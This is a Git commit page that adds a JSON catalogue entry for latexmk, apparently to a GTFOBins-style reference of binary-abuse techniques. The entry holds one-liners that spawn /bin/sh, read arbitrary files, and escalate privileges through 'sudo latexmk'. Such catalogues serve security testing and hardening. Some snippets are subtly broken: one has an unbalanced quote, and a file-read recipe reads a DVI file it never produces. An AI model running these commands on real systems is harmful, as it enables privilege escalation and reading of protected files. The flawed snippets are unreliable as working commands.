add data source for latexmk

master
Mr. Robot 3 years ago committed by GitHub
parent 1d28ab61f9
commit df0be7884b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -0,0 +1,27 @@
{
"description": "This allows to execute Perl code.",
"functions": {
"shell": [
{
"code": "latexmk -e 'exec \"/bin/sh\";'"
},
{
"code": "latexmk -latex='/bin/sh"
}
],
"file-read": [
{
"code": "latexmk -e 'open(X,\"[file]\");while(<X>){print $_;}exit'"
},
{
"description": "The read file will be part of the output.",
"code": "TF=$(mktemp)\necho '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}' >$TF\nstrings tmp.dvi\n"
}
],
"sudo": [
{
"code": "sudo latexmk -e 'exec \"/bin/sh\";'"
}
]
}
}
Loading…
Cancel
Save